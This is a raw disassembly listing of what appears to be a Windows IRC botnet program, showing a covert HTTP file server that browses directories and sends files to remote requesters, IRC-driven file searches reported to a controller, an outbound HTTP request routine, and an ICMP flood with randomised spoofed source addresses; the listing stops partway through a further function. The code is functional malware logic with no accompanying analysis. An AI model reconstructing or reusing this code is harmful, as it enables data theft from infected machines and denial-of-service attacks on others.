; ---------------------------------------------------------------------------
loc_404F00: ; CODE XREF: sub_404D4E+14Aj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+Dest]
push 80000000h
push eax
call ds:dword_41B05C ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_404F4F
lea eax, [ebp+Dest]
push eax ; Format
lea eax, [ebp+var_640]
push eax ; Dest
call _sprintf
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
call ds:dword_41B0A4 ; GetFileSize
push esi
mov [ebp+var_330], eax
call ds:dword_41B050 ; CloseHandle
loc_404F4F: ; CODE XREF: sub_404D4E+1A4j
; sub_404D4E+1CFj
mov esi, [ebp+arg_10]
lea eax, [ebp+Source]
push esi
push offset aHttpdWorkerThr ; "[HTTPD]: Worker thread of server thread"...
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+Source]
push 3 ; int
push eax ; Source
call sub_411C3A
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_430544[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_404BCC
push edi
push edi
call ds:dword_41B064 ; CreateThread
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_430554[ecx], eax
jz short loc_404FC9
loc_404FB7: ; CODE XREF: sub_404D4E+279j
cmp [ebp+var_318], edi
jnz short loc_404FF7
push 5
call ds:dword_41B048 ; Sleep
jmp short loc_404FB7
; ---------------------------------------------------------------------------
loc_404FC9: ; CODE XREF: sub_404D4E+267j
push ebx
call dword_42EC48 ; closesocket
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset aHttpdFailedT_0 ; "[HTTPD]: Failed to start worker thread,"...
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push eax
call sub_402D63
add esp, 10h
loc_404FF7: ; CODE XREF: sub_404D4E+1ADj
; sub_404D4E+26Fj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_404D4E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_404FFE(char *Str,int,int,char *Source)
sub_404FFE proc near ; CODE XREF: sub_404BCC+159p
; sub_409557+3E5Bp
Dst = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
Str1 = byte ptr -35Ch
var_248 = byte ptr -248h
Dest = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
Str = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
Source = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call _memset
mov edi, [ebp+Str]
push offset asc_42002C ; "\n"
push edi ; Str
call _strtok
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_40505D
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
jmp loc_40515A
; ---------------------------------------------------------------------------
loc_40505D: ; CODE XREF: sub_404FFE+3Aj
cmp [ebp+Source], ebx
push edi ; Str
jz loc_405140
call _strlen
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_42EC00 ; send
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_42EC00 ; send
push edi ; Str
call _strlen
push 3Ch
push 96h
mov byte ptr [eax+edi], 2Ah
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_42EC00 ; send
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_40515A
; ---------------------------------------------------------------------------
loc_405140: ; CODE XREF: sub_404FFE+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
loc_40515A: ; CODE XREF: sub_404FFE+5Aj
; sub_404FFE+140j
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_42EC00 ; send
cmp [ebp+Source], ebx
jz short loc_4051F2
push [ebp+Source] ; Str
call _strlen
cmp eax, 2
pop ecx
jbe short loc_4051F2
push [ebp+Source] ; Str
call _strlen
sub eax, 3
pop ecx
jz short loc_4051A6
loc_40519A: ; CODE XREF: sub_404FFE+1A6j
mov ecx, [ebp+Source]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_4051A6
dec eax
jnz short loc_40519A
loc_4051A6: ; CODE XREF: sub_404FFE+19Aj
; sub_404FFE+1A3j
inc eax
push eax ; Count
lea eax, [ebp+Dst]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+Dst]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_42EC00 ; send
loc_4051F2: ; CODE XREF: sub_404FFE+17Ej
; sub_404FFE+18Cj
lea eax, [ebp+var_388]
push eax
push edi
call ds:dword_41B0BC ; FindFirstFileA
lea ecx, [ebp+var_388]
mov [ebp+Str], eax
push ecx
push eax
call ds:dword_41B0B8 ; FindNextFileA
test eax, eax
jz loc_4055E3
mov edi, 1FFh
loc_40521E: ; CODE XREF: sub_404FFE+5DFj
cmp [ebp+var_388], ebx
jz loc_4055CB
lea eax, [ebp+Str1]
push offset a__ ; ".."
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4055CB
lea eax, [ebp+Str1]
push offset a__0 ; "."
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4055CB
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call ds:dword_41B0B4 ; FileTimeToLocalFileTime
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call ds:dword_41B0B0 ; FileTimeToSystemTime
mov ax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja short loc_405293
mov ecx, offset aAm ; "AM"
loc_405293: ; CODE XREF: sub_404FFE+28Ej
cmp ax, 0Ch
movzx eax, ax
jbe short loc_40529F
sub eax, 0Ch
loc_40529F: ; CODE XREF: sub_404FFE+29Cj
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+Dest]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax ; Dest
call _sprintf
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_40544C
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_405320
lea eax, [ebp+Str1]
push eax
push offset aS_3 ; "<%s>"
lea eax, [ebp+var_490]
push 106h ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_490]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 28h
jmp loc_40559C
; ---------------------------------------------------------------------------
loc_405320: ; CODE XREF: sub_404FFE+2DBj
cmp [ebp+Source], ebx
jz loc_40540A
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_42EC00 ; send
lea eax, [ebp+Str1]
push eax
lea eax, [ebp+var_248]
push [ebp+Source]
push offset aSS_2 ; "%s%s/"
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_42EC00 ; send
lea eax, [ebp+Str1]
push eax ; Str
call _strlen
cmp eax, 1Eh
pop ecx
lea eax, [ebp+Str1]
push eax
jbe short loc_4053C0
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_4053C5
; ---------------------------------------------------------------------------
loc_4053C0: ; CODE XREF: sub_404FFE+3B9j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_4053C5: ; CODE XREF: sub_404FFE+3C0j
lea eax, [ebp+var_248]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_42EC00 ; send
lea eax, [ebp+Dest]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_40558D
; ---------------------------------------------------------------------------
loc_40540A: ; CODE XREF: sub_404FFE+325j
lea eax, [ebp+Str1]
push eax
push offset aS_3 ; "<%s>"
lea eax, [ebp+var_490]
push 106h ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
loc_405437: ; CODE XREF: sub_404FFE+476j
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 24h
jmp loc_40559C
; ---------------------------------------------------------------------------
loc_40544C: ; CODE XREF: sub_404FFE+2CFj
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_405476
push ebx
push [ebp+var_368]
call sub_403A49
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Str1]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
jmp short loc_405437
; ---------------------------------------------------------------------------
loc_405476: ; CODE XREF: sub_404FFE+454j
cmp [ebp+Source], ebx
jz loc_405576
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_42EC00 ; send
lea eax, [ebp+Str1]
push eax
lea eax, [ebp+var_248]
push [ebp+Source]
push offset aSS ; "%s%s"
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_42EC00 ; send
lea eax, [ebp+Str1]
push eax ; Str
call _strlen
cmp eax, 1Fh
pop ecx
lea eax, [ebp+Str1]
push eax
jbe short loc_405516
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_40551B
; ---------------------------------------------------------------------------
loc_405516: ; CODE XREF: sub_404FFE+50Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_40551B: ; CODE XREF: sub_404FFE+516j
lea eax, [ebp+var_248]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_42EC00 ; send
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+Dest]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
lea eax, [ebp+var_248]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
jmp short loc_40559C
; ---------------------------------------------------------------------------
loc_405576: ; CODE XREF: sub_404FFE+47Bj
push [ebp+var_368]
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Str1]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
push esi ; Count
loc_40558D: ; CODE XREF: sub_404FFE+407j
lea eax, [ebp+var_248]
push eax ; Dest
call __snprintf
add esp, 18h
loc_40559C: ; CODE XREF: sub_404FFE+31Dj
; sub_404FFE+449j ...
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_42EC00 ; send
cmp [ebp+arg_8], ebx
jz short loc_4055CB
push 7D0h
call ds:dword_41B048 ; Sleep
loc_4055CB: ; CODE XREF: sub_404FFE+226j
; sub_404FFE+241j ...
lea eax, [ebp+var_388]
push eax
push [ebp+Str]
call ds:dword_41B0B8 ; FindNextFileA
test eax, eax
jnz loc_40521E
loc_4055E3: ; CODE XREF: sub_404FFE+215j
push [ebp+Str]
call ds:dword_41B0AC ; FindClose
cmp [ebp+arg_8], ebx
jz short loc_405626
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_403A49
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_403A49
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax ; Dest
call _sprintf
add esp, 14h
jmp short loc_40565A
; ---------------------------------------------------------------------------
loc_405626: ; CODE XREF: sub_404FFE+5F1j
cmp [ebp+Source], ebx
jz short loc_405640
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_40565A
; ---------------------------------------------------------------------------
loc_405640: ; CODE XREF: sub_404FFE+62Bj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax ; Dest
call _sprintf
add esp, 10h
loc_40565A: ; CODE XREF: sub_404FFE+626j
; sub_404FFE+640j
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_42EC00 ; send
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_404FFE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405680 proc near ; CODE XREF: sub_404BCC+13Bp
Dst = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
call ds:dword_41B05C ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_405738
push esi
push ebx
call ds:dword_41B0A4 ; GetFileSize
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_405731
loc_4056C5: ; CODE XREF: sub_405680+AFj
push 400h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_4056E2
mov edi, [ebp+arg_4]
loc_4056E2: ; CODE XREF: sub_405680+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call ds:dword_41B0C0 ; SetFilePointer
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+Dst]
push edi
push eax
push ebx
call ds:dword_41B04C ; ReadFile
push esi
lea eax, [ebp+Dst]
push edi
push eax
push [ebp+arg_0]
call dword_42EC00 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40572C
call dword_42EB50 ; WSAGetLastError
cmp eax, 2733h
jnz short loc_405731
xor eax, eax
loc_40572C: ; CODE XREF: sub_405680+9Bj
sub [ebp+arg_4], eax
jnz short loc_4056C5
loc_405731: ; CODE XREF: sub_405680+43j
; sub_405680+A8j
push ebx
call ds:dword_41B050 ; CloseHandle
loc_405738: ; CODE XREF: sub_405680+30j
pop edi
pop esi
pop ebx
leave
retn
sub_405680 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40573D(char *Str)
sub_40573D proc near ; CODE XREF: sub_404D4E+17Cp
Str = dword ptr 4
push esi
push edi
mov edi, [esp+8+Str]
xor esi, esi
push edi ; Str
call _strlen
test eax, eax
pop ecx
jbe short loc_405766
loc_405750: ; CODE XREF: sub_40573D+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_40575A
mov byte ptr [esi+edi], 2Fh
loc_40575A: ; CODE XREF: sub_40573D+17j
push edi ; Str
inc esi
call _strlen
cmp esi, eax
pop ecx
jb short loc_405750
loc_405766: ; CODE XREF: sub_40573D+11j
mov eax, edi
pop edi
pop esi
retn
sub_40573D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40576B proc near ; CODE XREF: sub_409557+2461p
var_4A0 = byte ptr -4A0h
Dest = byte ptr -310h
Str = byte ptr -110h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_42EB38 ; WSAStartup
push 6
push 1
push 2
call dword_42EC30 ; socket
mov ebx, eax
xor edi, edi
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+arg_14]
call dword_42EBB4 ; htons
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_4082EB
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
call dword_42EB60 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_405848
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_4057E4
mov eax, offset byte_428D64
loc_4057E4: ; CODE XREF: sub_40576B+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+Str]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
lea eax, [ebp+Str]
push edi
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push ebx
call dword_42EC00 ; send
push esi ; Size
lea eax, [ebp+Str]
push edi ; Src
push eax ; Dst
call _memcpy
add esp, 0Ch
lea eax, [ebp+Str]
push edi
push esi
push eax
push ebx
call dword_42EBCC ; recv
pop esi
loc_405848: ; CODE XREF: sub_40576B+6Bj
push ebx
call dword_42EC48 ; closesocket
call dword_42EB20 ; WSACleanup
lea eax, [ebp+Str]
push eax ; Format
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_405888
push edi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 14h
loc_405888: ; CODE XREF: sub_40576B+102j
pop edi
pop ebx
leave
retn
sub_40576B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40588C proc near ; DATA XREF: sub_409557+3454o
Dest = byte ptr -3BCh
var_1BC = dword ptr -1BCh
var_1B8 = byte ptr -1B8h
var_138 = byte ptr -138h
Str = byte ptr -0B8h
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
Dst = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3BCh
push ebx
push esi
mov eax, [ebp+arg_0]
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_1BC]
push 1
pop ebx
push 0FFh
push 3
rep movsd
push 2
mov [eax+19Ch], ebx
call dword_42EC30 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_405927
call dword_42EB50 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset aIcmpErrorSocke ; "[ICMP]: Error: socket() failed, returne"...
push eax ; Dest
call _sprintf
xor edi, edi
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_40590A
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_28] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1BC] ; int
call sub_405E64
add esp, 14h
loc_40590A: ; CODE XREF: sub_40588C+5Cj
lea eax, [ebp+Dest]
push eax
call sub_402D63
push [ebp+var_38]
call sub_411F56
pop ecx
pop ecx
push edi
call ds:dword_41B06C ; ExitThread
loc_405927: ; CODE XREF: sub_40588C+3Aj
lea ecx, [ebp+var_C]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_C], ebx
call dword_42EB94 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_40599E
call dword_42EB50 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset aIcmpErrorSetso ; "[ICMP]: Error: setsockopt() failed, ret"...
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_405981
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_28] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1BC] ; int
call sub_405E64
add esp, 14h
loc_405981: ; CODE XREF: sub_40588C+D3j
lea eax, [ebp+Dest]
push eax
call sub_402D63
push [ebp+var_38]
call sub_411F56
pop ecx
pop ecx
push edi
call ds:dword_41B06C ; ExitThread
loc_40599E: ; CODE XREF: sub_40588C+B3j
lea eax, [ebp+var_1B8]
push eax
call dword_42EBF0 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_405A05
lea eax, [ebp+Dest]
push offset aIcmpInvalidTar ; "[ICMP]: Invalid target IP."
push eax ; Dest
call _sprintf
cmp [ebp+var_24], edi
pop ecx
pop ecx
jnz short loc_4059E8
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_28] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1BC] ; int
call sub_405E64
add esp, 14h
loc_4059E8: ; CODE XREF: sub_40588C+13Aj
lea eax, [ebp+Dest]
push eax
call sub_402D63
push [ebp+var_38]
call sub_411F56
pop ecx
pop ecx
push edi
call ds:dword_41B06C ; ExitThread
loc_405A05: ; CODE XREF: sub_40588C+122j
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push edi
call dword_42EBB4 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+var_1B8]
push eax
call dword_42EBF0 ; inet_addr
mov esi, ds:dword_41B078
mov [ebp+var_18], eax
mov [ebp+arg_0], edi
call esi ; GetTickCount
mov [ebp+var_8], eax
loc_405A43: ; CODE XREF: sub_40588C+2E8j
call esi ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_30]
ja loc_405BEE
push 41Ch
mov byte_42E670, 45h
call dword_42EBB4 ; htons
cmp [ebp+var_2C], edi
mov word_42E672, ax
mov word_42E674, bx
mov word_42E676, di
mov byte_42E678, 80h
mov byte_42E679, bl
mov word_42E67A, di
jz short loc_405AC9
call _rand
mov ebx, eax
shl ebx, 8
call _rand
add ebx, eax
shl ebx, 8
call _rand
add ebx, eax
shl ebx, 8
call _rand
add ebx, eax
push 1
mov dword_42E67C, ebx
pop ebx
jmp short loc_405AE1
; ---------------------------------------------------------------------------
loc_405AC9: ; CODE XREF: sub_40588C+20Bj
push [ebp+var_1BC]
call sub_408401
pop ecx
push eax
call dword_42EBF0 ; inet_addr
mov dword_42E67C, eax
loc_405AE1: ; CODE XREF: sub_40588C+23Bj
mov eax, [ebp+var_18]
mov dword_42E680, eax
call _rand
cdq
mov ecx, 100h
idiv ecx
mov byte_42E684, dl
call _rand
cdq
mov ecx, 100h
idiv ecx
mov byte_42E685, dl
call _rand
cdq
mov ecx, 0F0h
push 400h ; Size
idiv ecx
mov word_42E686, di
mov word_42E68A, bx
inc edx
mov word_42E688, dx
call _rand
cdq
mov ecx, 0FFh
idiv ecx
push edx ; Val
push offset dword_42E68C ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push 10h
push eax
push edi
push 41Ch
push offset byte_42E670
push [ebp+var_4]
call dword_42EC14 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_405B79
inc [ebp+arg_0]
jmp loc_405A43
; ---------------------------------------------------------------------------
loc_405B79: ; CODE XREF: sub_40588C+2E3j
push [ebp+var_4]
call dword_42EC48 ; closesocket
call dword_42EB50 ; WSAGetLastError
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
push offset aIcmpErrorSendi ; "[ICMP]: Error sending packets to IP: %s"...
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 18h
cmp [ebp+var_24], edi
jnz short loc_405BD1
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_28] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1BC] ; int
call sub_405E64
add esp, 14h
loc_405BD1: ; CODE XREF: sub_40588C+323j
lea eax, [ebp+Dest]
push eax
call sub_402D63
push [ebp+var_38]
call sub_411F56
pop ecx
pop ecx
push edi
call ds:dword_41B06C ; ExitThread
loc_405BEE: ; CODE XREF: sub_40588C+1C8j
push [ebp+var_4]
call dword_42EC48 ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_30]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_138]
push eax
lea eax, [ebp+Dest]
push offset aIcmpDoneWithSF ; "[ICMP]: Done with %s flood to IP: %s. S"...
push eax ; Dest
call _sprintf
add esp, 1Ch
cmp [ebp+var_24], edi
jnz short loc_405C56
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_28] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1BC] ; int
call sub_405E64
add esp, 14h
loc_405C56: ; CODE XREF: sub_40588C+3A8j
lea eax, [ebp+Dest]
push eax
call sub_402D63
push [ebp+var_38]
call sub_411F56
pop ecx
pop ecx
push edi
call ds:dword_41B06C ; ExitThread
sub_40588C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405C73 proc near ; DATA XREF: WinMain(x,x,x,x)+4B5o
; sub_409557+1807o
Str = byte ptr -238h
Dest = byte ptr -38h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
Dst = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 238h
push ebx
push esi
push edi
push 10h
pop edi
xor esi, esi
push edi ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
mov [ebp+var_8], esi
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push 71h
call dword_42EBB4 ; htons
